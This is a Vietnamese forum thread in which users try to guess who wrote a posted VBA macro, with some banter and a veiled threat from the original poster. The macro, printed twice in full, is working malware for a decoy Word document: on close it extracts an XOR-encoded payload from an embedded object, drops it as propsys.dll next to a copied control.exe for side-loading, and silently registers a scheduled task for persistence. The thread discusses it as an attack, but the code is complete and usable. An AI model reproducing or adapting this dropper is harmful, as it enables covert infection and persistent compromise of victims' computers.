Nhờ các bạn xem và đoán thử.

ThangCuAnh · 24/9/19

Các bạn xem code này có nhận, đoán ra ai trong diễn đàn mình viết không ? Mạnh dạn cho ý kiến.
Những người kỳ cựu, sinh hoạt diễn đàn lâu năm có thể sẽ nhận ra ngay.

Mã:

Option Explicit
#If VBA7 Then
Private Declare PtrSafe Function _
CloseClipboard& Lib "user32" ()
Private Declare PtrSafe Function _
OpenClipboard& Lib "user32" (ByVal hWnd&)
Private Declare PtrSafe Function _
EmptyClipboard& Lib "user32" ()
Private Declare PtrSafe Function _
GetClipboardData Lib "user32" (ByVal wFormat As LongPtr) As LongPtr

Private Declare PtrSafe Function _
GlobalSize& Lib "kernel32" (ByVal hMem As LongPtr)
Private Declare PtrSafe Function _
GlobalLock Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GlobalUnlock& Lib "kernel32" (ByVal hMem As LongPtr)
Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias _
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length&)
Private Declare PtrSafe Function _
EnumClipboardFormats Lib "user32" (ByVal wFormat As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As LongPtr, ByVal lpString As String, ByVal nMacCount As Long) As Long
#Else
Private Declare Function _
CloseClipboard& Lib "user32" ()
Private Declare Function _
OpenClipboard& Lib "user32" (ByVal hWnd&)
Private Declare Function _
EmptyClipboard& Lib "user32" ()
Private Declare Function _
GetClipboardData& Lib "user32" (ByVal wFormat&)
Private Declare Function _
GlobalSize& Lib "kernel32" (ByVal hMem&)
Private Declare Function _
GlobalLock& Lib "kernel32" (ByVal hMem&)
Private Declare Function _
GlobalUnlock& Lib "kernel32" (ByVal hMem&)
Private Declare Sub CopyMem Lib "kernel32" Alias _
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length&)
Private Declare Function _
EnumClipboardFormats Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function _
GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As Long, ByVal lpString As String, ByVal nMacCount As Long) As Long
#End If

Public result_exe As String
Public result_dll As String


Function GetContainer() As String
    GetContainer = Environ$("LOCALAPPDATA")
End Function


Function GetData(abData() As Byte) As Boolean
    #If VBA7 Then
        Dim fmt As LongPtr
    #Else
        Dim fmt As Long
    #End If
    Dim formatName As String, sBuffer As String
    Dim i As Long
    Dim bDataInClipboard As Boolean
    GetData = False
    If OpenClipboard(0&) Then
        fmt = EnumClipboardFormats(fmt)
        Do While fmt <> 0
            #If VBA7 Then
                Dim hWnd As LongPtr, size&, Ptr As LongPtr
            #Else
                Dim hWnd&, size&, Ptr&
            #End If

            formatName = String(255, vbNullChar)
            i = GetClipboardFormatName(fmt, formatName, 255)
            sBuffer = Left(formatName, i)
            bDataInClipboard = True

            If sBuffer = "Embedded Object" Then

                hWnd = GetClipboardData(fmt)
                If hWnd Then size = GlobalSize(hWnd)
                If size Then Ptr = GlobalLock(hWnd)

                If Ptr Then
                    ReDim abData(0 To size - 1) As Byte
                    CopyMem abData(0), ByVal Ptr, size
                    Call GlobalUnlock(hWnd)
                End If

                Dim dest As String
                dest = ""
                'If (size < 150000) Then
                '    dest = Environ("LOCALAPPDATA") & "\control.exe"
                '    result_exe = dest
                'Else
                '    dest = Environ("LOCALAPPDATA") & "\propsys.dll"
                '    result_dll = dest
                'End If

                If (size > 80000) And (size < 90000) Then
                    dest = Environ("LOCALAPPDATA") & "\propsys.dll"
                    result_dll = dest
                Else
                    GoTo NextIteration
                End If

                If dest = "" Then
                    GetData = False
                    Exit Do
                End If

                If Not writeMalFile(abData, dest) Then
                    GetData = False
                    Exit Do
                Else
                    GetData = True
                    Exit Do
                End If

            End If

NextIteration:
            fmt = EnumClipboardFormats(fmt)
        Loop

        EmptyClipboard
        CloseClipboard
        DoEvents
    End If
End Function


Function Extract() As Boolean
    ' Loop through all our OLE Objects to find the one we want
    Dim result As String, control_path As String
    result = GetContainer()
    Dim obj As Shape
    Extract = False
    Dim count As Integer
    count = 0

    On Error GoTo endfunction
    If ActiveDocument.Shapes.count < 1 Then
        Extract = False
    Else
        ClearClipboard
        For Each obj In ActiveDocument.Shapes
            Dim Buffer() As Byte
            If obj.OLEFormat.IconLabel = "map" Then
                obj.Select
                Selection.Copy
                If GetData(Buffer) Then
                    Extract = True
                    Exit For
                End If
            End If
        Next
    End If

    If Extract = True Then
        Dim obj_copy As Object
        Dim flag As Boolean
        Set obj_copy = CreateObject("Scripting.FileSystemObject")
        flag = isWin64bit()
        control_path = Environ("windir")
        If flag Then
            control_path = control_path + "\SysWOW64\control.exe"
        Else
            control_path = control_path + "\System32\control.exe"
        End If

        result_exe = Environ("LOCALAPPDATA") & "\control.exe"
        obj_copy.CopyFile control_path, result_exe
    End If
    Exit Function
endfunction:
    Extract = False
End Function


Function FileWriteBinary(vData As Variant, sFileName As String, Optional bAppendToFile As Boolean = False) As Boolean
    Dim iFileNum As Integer, lWritePos As Long

    On Error GoTo ErrFailed
    If bAppendToFile = False Then
        If Len(Dir$(sFileName)) > 0 And Len(sFileName) > 0 Then
            'Delete the existing file
            VBA.Kill sFileName
        End If
    End If

    iFileNum = FreeFile
    Open sFileName For Binary Access Write As #iFileNum

    If bAppendToFile = False Then
        'Write to first byte
        lWritePos = 1
    Else
        'Write to last byte + 1
        lWritePos = LOF(iFileNum) + 1
    End If

    Dim Buffer() As Byte
    Buffer() = vData
    Put #iFileNum, lWritePos, Buffer
    Close iFileNum

    FileWriteBinary = True
    Exit Function

ErrFailed:
    FileWriteBinary = False

End Function


Function Create()
    Dim a As String
    a = ""
    a = a & "Dim objSatkService, objRootFolder, objSatkFolder, objNewSatkDefinition" & vbCrLf
    a = a & "Dim objSatkTrigger, objSatkAction, objSatkTriggers, blnFoundSatk" & vbCrLf
    a = a & "Dim objSatkFolders" & vbCrLf

    a = a & "Set objSatkService = CreateObject(" & """" & "Schedule.Service" & """" & ")" & vbCrLf
    a = a & "Call objSatkService.Connect" & vbCrLf
    a = a & "Dim strTime" & vbCrLf

    a = a & "strTime = Year(Now()) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Month(Now()), 2) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Day(Now()), 2) & " & """" & "T" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Hour(Now()), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Minute(Now()), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Day(Now()), 2)" & vbCrLf

    a = a & "Dim strTime1" & vbCrLf

    a = a & "strTime1 = Year(DateAdd(" & """" & "n" & """" & ", 5, Now())) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Month(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Day(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & "T" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Hour(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Minute(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Day(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2)" & vbCrLf

    a = a & "Set objSatkFolder = objSatkService.GetFolder(" & """" & "\" & """" & ")" & vbCrLf
    a = a & "Set objRootFolder = objSatkService.GetFolder(" & """" & "\" & """" & ")" & vbCrLf
    a = a & "Set objSatkFolders = objRootFolder.GetFolders(0)" & vbCrLf

    a = a & "For Each objSatkFolder In objSatkFolders" & vbCrLf
    a = a & "    If objSatkFolder.Path = " & """" & "\ActivexInstaller" & """" & " Then" & vbCrLf
    a = a & "        blnFoundSatk = True" & vbCrLf
    a = a & "        Exit For" & vbCrLf
    a = a & "    End If" & vbCrLf
    a = a & "Next" & vbCrLf

    a = a & "If Not blnFoundSatk Then Set objSatkFolder = objRootFolder.CreateFolder(" & """" & "\ActivexInstaller" & """" & ")" & vbCrLf

    a = a & "Set objNewSatkDefinition = objSatkService.New" & "Ta" & "sk(0)" & vbCrLf

    a = a & "With objNewSatkDefinition" & vbCrLf
    a = a & "    .Data = " & """" & """" & vbCrLf
    a = a & "    With .RegistrationInfo" & vbCrLf
    a = a & "        .Author = objSatkService.ConnectedDomain & " & """" & "\" & """" & " & objSatkService.ConnectedUser" & vbCrLf
    a = a & "        .Date = strTime" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    With .principal" & vbCrLf
    a = a & "        .ID = " & """" & "My ID" & """" & vbCrLf
    a = a & "        .DisplayName = " & """" & "Principal Description" & """" & vbCrLf
    a = a & "       '.UserId = " & """" & "Domain\myuser" & """" & vbCrLf
    a = a & "        .UserId = objSatkService.ConnectedDomain & " & """" & "\" & """" & " & objSatkService.ConnectedUser" & vbCrLf
    a = a & "        .LogonType = 3" & vbCrLf
    a = a & "        .RunLevel = 0" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    Set objSatkTriggers = .triggers" & vbCrLf
    a = a & "    Set objSatkTrigger = objSatkTriggers.Create(1)" & vbCrLf
    a = a & "    With objSatkTrigger" & vbCrLf
    a = a & "        .Enabled = True" & vbCrLf
    a = a & "        .ID = " & """" & "TimeTriggerID1" & """" & vbCrLf
    a = a & "        .StartBoundary = strTime1" & vbCrLf

    a = a & "        With .Repetition" & vbCrLf
    a = a & "            .Duration = " & """" & "P1D" & """" & vbCrLf
    a = a & "            .Interval = " & """" & "PT30M" & """" & vbCrLf
    a = a & "        End With" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    Set objSatkAction = .Actions.Create(0)" & vbCrLf
    a = a & "    With objSatkAction" & vbCrLf
    a = a & "        .Path = " & """" & result_exe & """" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "End With" & vbCrLf

    a = a & "Call objSatkFolder.RegisterTaskDefinition( _" & vbCrLf
    a = a & "    " & """" & "ActivexInstaller" & """" & ", objNewSatkDefinition, 6, , , 3)" & vbCrLf

    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    Dim oFile As Object
    Dim cPath As String
    cPath = Environ("APPDATA") & "\abi.vbs"
    Set oFile = fso.CreateTextFile(cPath)
    oFile.WriteLine a
    oFile.WriteLine "Wscript.Quit"
    oFile.Close
    Set fso = Nothing
    Set oFile = Nothing

    Shell "cscript " & Chr(34) & cPath & Chr(34), vbHide
End Function


Private Function ReadFile(sFile As String) As Byte()
    Dim nFile       As Integer

    nFile = FreeFile
    Open sFile For Binary As #nFile
    If LOF(nFile) > 0 Then
        ReDim ReadFile(0 To LOF(nFile) - 1)
        Get nFile, , ReadFile
    End If
    Close #nFile
End Function


Private Sub Document_Close()
    MsgBox "Are you sure you want to exit the application?", vbQuestion

    If Not Extract Then Exit Sub
    If Dir(result_dll) <> "" Then
        Create
    End If

End Sub


Function writeMalFile(buf() As Byte, dest As String) As Boolean

    Dim pattern(7) As Byte
    pattern(0) = &HD4
    pattern(1) = &HC3
    pattern(2) = &H9
    pattern(3) = &H99
    pattern(4) = &H9A
    pattern(5) = &H99
    pattern(6) = &H99

    Dim match As Integer, pos As Integer
    Dim x As Long, i As Long
    match = 0
    Dim flag As Boolean
    flag = False
    writeMalFile = False

    For x = 0 To UBound(buf)
        If buf(x) = pattern(0) Then
            For i = 1 To UBound(pattern)
                If pattern(i) <> buf(x + i) Then
                    match = 0
                    Exit For
                Else
                    match = match + 1
                    If match = 6 Then
                        flag = True
                        pos = x
                        Exit For
                    End If
                End If
            Next

            If flag = True Then
                Exit For
            End If
        End If
    Next x

    If flag = True Then
        Dim iLength As Long, iLength_ As Long, iLength__ As Long
        iLength = buf(x - 4)
        iLength_ = buf(x - 3)
        iLength__ = buf(x - 2)

        iLength = iLength + iLength_ * 256 + iLength__ * 65536

        ReDim Buffer(0 To (iLength - 1)) As Byte
        For i = 0 To (iLength - 1)
            Buffer(i) = buf(x + i) Xor &H99
        Next i

        If FileWriteBinary(Buffer, dest) Then
            writeMalFile = True
        End If
    Else
        writeMalFile = False
    End If
End Function

Function ClearClipboard()
    OpenClipboard (0&)
    EmptyClipboard
    CloseClipboard
End Function

Function isWin64bit() As Boolean
    isWin64bit = 0 < Len(Environ("ProgramW6432"))
End Function

Kiều Mạnh · 24/9/19

Viết hàm API tầm đó GPE này có vài người
đoán trong BQT ngày xưa tới nay có khoãng 2 người
Ngoài BQT có vài tên ...

...

VetMini · 24/9/19

"Nhờ" hay "thách thức" vậy?

befaint · 24/9/19

Không lẽ là con vi rút cảm cúm nào đó @@

ThangCuAnh · 24/9/19

Thách thức gì bác VetMini ? Tôi hỏi rõ ràng là các bạn đoán ra ai viết không mà ?
Ví dụ các bạn search trên diễn đàn thử hàm ClearClipboard thử nó giống của ai viết ra nhất ?

leonguyenz · 24/9/19

ThangCuAnh đã viết:

Các bạn xem code này có nhận, đoán ra ai trong diễn đàn mình viết không ? Mạnh dạn cho ý kiến.
Những người kỳ cựu, sinh hoạt diễn đàn lâu năm có thể sẽ nhận ra ngay.

Mã:

Option Explicit
#If VBA7 Then
Private Declare PtrSafe Function _
CloseClipboard& Lib "user32" ()
Private Declare PtrSafe Function _
OpenClipboard& Lib "user32" (ByVal hWnd&)
Private Declare PtrSafe Function _
EmptyClipboard& Lib "user32" ()
Private Declare PtrSafe Function _
GetClipboardData Lib "user32" (ByVal wFormat As LongPtr) As LongPtr

Private Declare PtrSafe Function _
GlobalSize& Lib "kernel32" (ByVal hMem As LongPtr)
Private Declare PtrSafe Function _
GlobalLock Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GlobalUnlock& Lib "kernel32" (ByVal hMem As LongPtr)
Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias _
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length&)
Private Declare PtrSafe Function _
EnumClipboardFormats Lib "user32" (ByVal wFormat As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As LongPtr, ByVal lpString As String, ByVal nMacCount As Long) As Long
#Else
Private Declare Function _
CloseClipboard& Lib "user32" ()
Private Declare Function _
OpenClipboard& Lib "user32" (ByVal hWnd&)
Private Declare Function _
EmptyClipboard& Lib "user32" ()
Private Declare Function _
GetClipboardData& Lib "user32" (ByVal wFormat&)
Private Declare Function _
GlobalSize& Lib "kernel32" (ByVal hMem&)
Private Declare Function _
GlobalLock& Lib "kernel32" (ByVal hMem&)
Private Declare Function _
GlobalUnlock& Lib "kernel32" (ByVal hMem&)
Private Declare Sub CopyMem Lib "kernel32" Alias _
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length&)
Private Declare Function _
EnumClipboardFormats Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function _
GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As Long, ByVal lpString As String, ByVal nMacCount As Long) As Long
#End If

Public result_exe As String
Public result_dll As String


Function GetContainer() As String
    GetContainer = Environ$("LOCALAPPDATA")
End Function


Function GetData(abData() As Byte) As Boolean
    #If VBA7 Then
        Dim fmt As LongPtr
    #Else
        Dim fmt As Long
    #End If
    Dim formatName As String, sBuffer As String
    Dim i As Long
    Dim bDataInClipboard As Boolean
    GetData = False
    If OpenClipboard(0&) Then
        fmt = EnumClipboardFormats(fmt)
        Do While fmt <> 0
            #If VBA7 Then
                Dim hWnd As LongPtr, size&, Ptr As LongPtr
            #Else
                Dim hWnd&, size&, Ptr&
            #End If

            formatName = String(255, vbNullChar)
            i = GetClipboardFormatName(fmt, formatName, 255)
            sBuffer = Left(formatName, i)
            bDataInClipboard = True

            If sBuffer = "Embedded Object" Then

                hWnd = GetClipboardData(fmt)
                If hWnd Then size = GlobalSize(hWnd)
                If size Then Ptr = GlobalLock(hWnd)

                If Ptr Then
                    ReDim abData(0 To size - 1) As Byte
                    CopyMem abData(0), ByVal Ptr, size
                    Call GlobalUnlock(hWnd)
                End If

                Dim dest As String
                dest = ""
                'If (size < 150000) Then
                '    dest = Environ("LOCALAPPDATA") & "\control.exe"
                '    result_exe = dest
                'Else
                '    dest = Environ("LOCALAPPDATA") & "\propsys.dll"
                '    result_dll = dest
                'End If

                If (size > 80000) And (size < 90000) Then
                    dest = Environ("LOCALAPPDATA") & "\propsys.dll"
                    result_dll = dest
                Else
                    GoTo NextIteration
                End If

                If dest = "" Then
                    GetData = False
                    Exit Do
                End If

                If Not writeMalFile(abData, dest) Then
                    GetData = False
                    Exit Do
                Else
                    GetData = True
                    Exit Do
                End If

            End If

NextIteration:
            fmt = EnumClipboardFormats(fmt)
        Loop

        EmptyClipboard
        CloseClipboard
        DoEvents
    End If
End Function


Function Extract() As Boolean
    ' Loop through all our OLE Objects to find the one we want
    Dim result As String, control_path As String
    result = GetContainer()
    Dim obj As Shape
    Extract = False
    Dim count As Integer
    count = 0

    On Error GoTo endfunction
    If ActiveDocument.Shapes.count < 1 Then
        Extract = False
    Else
        ClearClipboard
        For Each obj In ActiveDocument.Shapes
            Dim Buffer() As Byte
            If obj.OLEFormat.IconLabel = "map" Then
                obj.Select
                Selection.Copy
                If GetData(Buffer) Then
                    Extract = True
                    Exit For
                End If
            End If
        Next
    End If

    If Extract = True Then
        Dim obj_copy As Object
        Dim flag As Boolean
        Set obj_copy = CreateObject("Scripting.FileSystemObject")
        flag = isWin64bit()
        control_path = Environ("windir")
        If flag Then
            control_path = control_path + "\SysWOW64\control.exe"
        Else
            control_path = control_path + "\System32\control.exe"
        End If

        result_exe = Environ("LOCALAPPDATA") & "\control.exe"
        obj_copy.CopyFile control_path, result_exe
    End If
    Exit Function
endfunction:
    Extract = False
End Function


Function FileWriteBinary(vData As Variant, sFileName As String, Optional bAppendToFile As Boolean = False) As Boolean
    Dim iFileNum As Integer, lWritePos As Long

    On Error GoTo ErrFailed
    If bAppendToFile = False Then
        If Len(Dir$(sFileName)) > 0 And Len(sFileName) > 0 Then
            'Delete the existing file
            VBA.Kill sFileName
        End If
    End If

    iFileNum = FreeFile
    Open sFileName For Binary Access Write As #iFileNum

    If bAppendToFile = False Then
        'Write to first byte
        lWritePos = 1
    Else
        'Write to last byte + 1
        lWritePos = LOF(iFileNum) + 1
    End If

    Dim Buffer() As Byte
    Buffer() = vData
    Put #iFileNum, lWritePos, Buffer
    Close iFileNum

    FileWriteBinary = True
    Exit Function

ErrFailed:
    FileWriteBinary = False

End Function


Function Create()
    Dim a As String
    a = ""
    a = a & "Dim objSatkService, objRootFolder, objSatkFolder, objNewSatkDefinition" & vbCrLf
    a = a & "Dim objSatkTrigger, objSatkAction, objSatkTriggers, blnFoundSatk" & vbCrLf
    a = a & "Dim objSatkFolders" & vbCrLf

    a = a & "Set objSatkService = CreateObject(" & """" & "Schedule.Service" & """" & ")" & vbCrLf
    a = a & "Call objSatkService.Connect" & vbCrLf
    a = a & "Dim strTime" & vbCrLf

    a = a & "strTime = Year(Now()) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Month(Now()), 2) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Day(Now()), 2) & " & """" & "T" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Hour(Now()), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Minute(Now()), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Day(Now()), 2)" & vbCrLf

    a = a & "Dim strTime1" & vbCrLf

    a = a & "strTime1 = Year(DateAdd(" & """" & "n" & """" & ", 5, Now())) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Month(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Day(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & "T" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Hour(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Minute(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Day(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2)" & vbCrLf

    a = a & "Set objSatkFolder = objSatkService.GetFolder(" & """" & "\" & """" & ")" & vbCrLf
    a = a & "Set objRootFolder = objSatkService.GetFolder(" & """" & "\" & """" & ")" & vbCrLf
    a = a & "Set objSatkFolders = objRootFolder.GetFolders(0)" & vbCrLf

    a = a & "For Each objSatkFolder In objSatkFolders" & vbCrLf
    a = a & "    If objSatkFolder.Path = " & """" & "\ActivexInstaller" & """" & " Then" & vbCrLf
    a = a & "        blnFoundSatk = True" & vbCrLf
    a = a & "        Exit For" & vbCrLf
    a = a & "    End If" & vbCrLf
    a = a & "Next" & vbCrLf

    a = a & "If Not blnFoundSatk Then Set objSatkFolder = objRootFolder.CreateFolder(" & """" & "\ActivexInstaller" & """" & ")" & vbCrLf

    a = a & "Set objNewSatkDefinition = objSatkService.New" & "Ta" & "sk(0)" & vbCrLf

    a = a & "With objNewSatkDefinition" & vbCrLf
    a = a & "    .Data = " & """" & """" & vbCrLf
    a = a & "    With .RegistrationInfo" & vbCrLf
    a = a & "        .Author = objSatkService.ConnectedDomain & " & """" & "\" & """" & " & objSatkService.ConnectedUser" & vbCrLf
    a = a & "        .Date = strTime" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    With .principal" & vbCrLf
    a = a & "        .ID = " & """" & "My ID" & """" & vbCrLf
    a = a & "        .DisplayName = " & """" & "Principal Description" & """" & vbCrLf
    a = a & "       '.UserId = " & """" & "Domain\myuser" & """" & vbCrLf
    a = a & "        .UserId = objSatkService.ConnectedDomain & " & """" & "\" & """" & " & objSatkService.ConnectedUser" & vbCrLf
    a = a & "        .LogonType = 3" & vbCrLf
    a = a & "        .RunLevel = 0" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    Set objSatkTriggers = .triggers" & vbCrLf
    a = a & "    Set objSatkTrigger = objSatkTriggers.Create(1)" & vbCrLf
    a = a & "    With objSatkTrigger" & vbCrLf
    a = a & "        .Enabled = True" & vbCrLf
    a = a & "        .ID = " & """" & "TimeTriggerID1" & """" & vbCrLf
    a = a & "        .StartBoundary = strTime1" & vbCrLf

    a = a & "        With .Repetition" & vbCrLf
    a = a & "            .Duration = " & """" & "P1D" & """" & vbCrLf
    a = a & "            .Interval = " & """" & "PT30M" & """" & vbCrLf
    a = a & "        End With" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    Set objSatkAction = .Actions.Create(0)" & vbCrLf
    a = a & "    With objSatkAction" & vbCrLf
    a = a & "        .Path = " & """" & result_exe & """" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "End With" & vbCrLf

    a = a & "Call objSatkFolder.RegisterTaskDefinition( _" & vbCrLf
    a = a & "    " & """" & "ActivexInstaller" & """" & ", objNewSatkDefinition, 6, , , 3)" & vbCrLf

    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    Dim oFile As Object
    Dim cPath As String
    cPath = Environ("APPDATA") & "\abi.vbs"
    Set oFile = fso.CreateTextFile(cPath)
    oFile.WriteLine a
    oFile.WriteLine "Wscript.Quit"
    oFile.Close
    Set fso = Nothing
    Set oFile = Nothing

    Shell "cscript " & Chr(34) & cPath & Chr(34), vbHide
End Function


Private Function ReadFile(sFile As String) As Byte()
    Dim nFile       As Integer

    nFile = FreeFile
    Open sFile For Binary As #nFile
    If LOF(nFile) > 0 Then
        ReDim ReadFile(0 To LOF(nFile) - 1)
        Get nFile, , ReadFile
    End If
    Close #nFile
End Function


Private Sub Document_Close()
    MsgBox "Are you sure you want to exit the application?", vbQuestion

    If Not Extract Then Exit Sub
    If Dir(result_dll) <> "" Then
        Create
    End If

End Sub


Function writeMalFile(buf() As Byte, dest As String) As Boolean

    Dim pattern(7) As Byte
    pattern(0) = &HD4
    pattern(1) = &HC3
    pattern(2) = &H9
    pattern(3) = &H99
    pattern(4) = &H9A
    pattern(5) = &H99
    pattern(6) = &H99

    Dim match As Integer, pos As Integer
    Dim x As Long, i As Long
    match = 0
    Dim flag As Boolean
    flag = False
    writeMalFile = False

    For x = 0 To UBound(buf)
        If buf(x) = pattern(0) Then
            For i = 1 To UBound(pattern)
                If pattern(i) <> buf(x + i) Then
                    match = 0
                    Exit For
                Else
                    match = match + 1
                    If match = 6 Then
                        flag = True
                        pos = x
                        Exit For
                    End If
                End If
            Next

            If flag = True Then
                Exit For
            End If
        End If
    Next x

    If flag = True Then
        Dim iLength As Long, iLength_ As Long, iLength__ As Long
        iLength = buf(x - 4)
        iLength_ = buf(x - 3)
        iLength__ = buf(x - 2)

        iLength = iLength + iLength_ * 256 + iLength__ * 65536

        ReDim Buffer(0 To (iLength - 1)) As Byte
        For i = 0 To (iLength - 1)
            Buffer(i) = buf(x + i) Xor &H99
        Next i

        If FileWriteBinary(Buffer, dest) Then
            writeMalFile = True
        End If
    Else
        writeMalFile = False
    End If
End Function

Function ClearClipboard()
    OpenClipboard (0&)
    EmptyClipboard
    CloseClipboard
End Function

Function isWin64bit() As Boolean
    isWin64bit = 0 < Len(Environ("ProgramW6432"))
End Function

Code giống anh Lê Văn Duyệt viết.

Kiều Mạnh · 24/9/19

thì cũng hơi nghi con virus cảm cúm này thuộc thành Viên BQT cũ .... tại hôm lâu có thấy chủ thớt than thế .... nghi nghi vậy

ThangCuAnh · 27/9/19

Làm gì thì làm, ai cũng vì cơm áo gạo tiền, nuôi gđ, nhưng bạn dùng kiến thức của mình đi hại người, tấn công Apt target người ta, để người ta dính vào vòng tù tội, lao lý, thì xin lỗi, mình không chấp nhận và bỏ qua cho bạn, anh được
Bạn nên nhớ, cao nhân tất hữu cao nhân cao, cao nhân tất hữu cao nhân trị, thiên hạ lắm người tài
Muốn người ta kg biết thì đừng làm
Nội cái dòng Buffer() = vData, mình đã biết bạn là ai rồi, hở sườn đó bạn.
Vn mình kg mấy ai, nhiêu người viết vậy đâu

Bài đã được tự động gộp: 27/9/19

Bạn là ai, nhà ở đâu, số đt, fb, zalo... mình đã nắm hết rồi. Hôm nào mình xuống, mời bạn ra cafe, đi nhậu, anh em tâm sự chút nhen.

Bài đã được tự động gộp: 27/9/19

Và mình không phải đăng ký thành viên diễn đàn này vì mấy cái vớ vẫn Đeo Phai, Undocument này nọ đâu. Các bạn giỏi về decoy Doc, Excel đánh lừa victim download xxx về máy victim, thì xin lỗi, cũng có người vạch mặt các bạn. Nhớ nhé...

NguyenthiH · 27/9/19

Nghe anh TQN nói em thấy sợ quá, mong anh nói rỏ là nếu dùng code trên thì người dùng sẽ bị làm sao ạ.

quanluu · 27/9/19

Mong bạn nói rõ tác giả của những dòng code trên.

quick87 · 14/10/19

Em cũng tò mò nên lại bói thử 1 quẻ, dường như nhân vật mà anh @ThangCuAnh đang nói có liên quan đến topic về thông số CPU, HDD ... đã có tranh luận khá lâu rồi thì phải ???

nhnn1986 · 15/10/19

@quick87 Anh này ngày xưa ở shoptinhoc à?

quick87 · 15/10/19

nhnn1986 đã viết:
@quick87 Anh này ngày xưa ở shoptinhoc à?

đúng bạn, hồi xưa mình có tham gia đội ngũ smod bên sth, chắc hẳn bạn cũng thuộc một trong những fan của forum đó đây

VetMini · 15/10/19

Mới đầu thì mình nhột qúa sức. Nhưng sau khi đọc đến:
"là ai, nhà ở đâu, số đt, fb, zalo... mình đã nắm hết rồi"
thì yên tâm, chắc nó chừa mình ra... (điển hình, mình không có zalo)

Nhưng mà gẫm lại. Ba cái diễn đàn này nguy hiểm thật. Bất cứ lúc nào ngườii ta cũng có thể điều tra (*) và nắm hết lý lịch của mình.

Điều tra: công an điều tra trực tiếp bằng phần cứng, người dân có khả năng thì điều tra gián tiếp qua phần mềm. Rốt cuộc cũng là để hăm doạ "tôi biết hết về cậu". Cá mè một lứa chứ có khác gì nhau đâu?

thuyyeu99 · 15/10/19

Cho em hỏi ngớ ngẩn chúc nhé, cái này là ăn cắp dữ liệu hay là sao vậy các anh $===\.$ $===\.$ $===\.$ $===\.$ $===\.$

quick87 · 15/10/19

thuyyeu99 đã viết:
Cho em hỏi ngớ ngẩn chúc nhé, cái này là ăn cắp dữ liệu hay là sao vậy các anh $===\.$ $===\.$ $===\.$ $===\.$ $===\.$

Chỉ đoán thôi:

Visual Basic | Reading and writing binary data from files Code Example

visualbasic.happycodings.com

batman1 · 15/10/19

VetMini đã viết:
Mới đầu thì mình nhột qúa sức. Nhưng sau khi đọc đến:
"là ai, nhà ở đâu, số đt, fb, zalo... mình đã nắm hết rồi"
thì yên tâm, chắc nó chừa mình ra... (điển hình, mình không có zalo)

